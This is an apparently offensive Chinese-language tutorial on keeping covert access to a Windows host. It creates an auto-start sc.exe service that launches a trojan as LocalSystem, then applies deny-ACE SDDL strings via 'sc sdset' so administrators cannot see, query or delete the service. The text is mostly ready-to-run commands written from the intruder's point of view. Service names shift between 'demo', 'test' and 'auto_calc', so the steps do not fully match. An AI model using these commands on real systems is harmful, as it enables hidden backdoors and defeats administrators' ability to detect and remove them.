简介:
sc.exe
是Windows系统文件中自带的服务管理程序,可远程对服务进行操作;这里讲述了利用sc
和Powershell
程序来隐藏服务,搭到长期维持权限的效果。
创建服务
创建一个服务名为demo的自启动服务,服务运行地址指向木马路径,以tcpip
协议传输并以本地系统权限运行
sc create demo start= auto binPath="cmd.exe /k C:\tu.exe" depend= Tcpip obj= Localsystem
添加个描述
sc description demo "tu3k.cn"
这时服务器重启会自启动上线,手动启动也可以上线,不过有时候手动可能会出错,但是不影响上线。
成功上线
删除进程命令sc delete demo
但是管理员在进行维护的时候,发现这个进程可疑,就会查看这个进程的详细信息
我们的木马路径藏的再隐蔽也一览无余了,接着管理员就会执行命令删掉服务,权限也就掉了,如何藏得更深或者管理员没有这个权限去删呢再或者管理员根本发现不了我们的隐藏木马进程
0x02 正文(隐藏服务)
为了不让管理员发现用于权限维持的服务,通过SDDL修改服务的安全描述符,安全描述符是用来配置该服务允许哪些用户权限访问
使用sc程序的sdset模块修改安全描述符
sc.exe sdset test "D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
现在用sc query demo
和powershell
的get-serivce
查询都已经查不到了
不过sc qc demo
还是可以查到,问题已经不大了
0x03 SDDL原理
通过修改安全描述符来控制那些用户具有访问和读取此服务相关信息的权限
sc sdset 有几个参数,D是Access Denied 也就是权限拒绝,刚才执行的语句内就有这个参数
如果要启用的话就把D改成A,A代表Access Alower 允许权限
增强SC的隐藏
在上面的SC中隐藏过后还可以使用`sc qc demo`查看服务信息,这里增强一下,拒绝所有用户权限查询服务配置信息项
sc.exe sdset test "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
使用Powershell还原权限
powershell.exe & $env:SystemRoot\System32\sc.exe sdset auto_calc "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"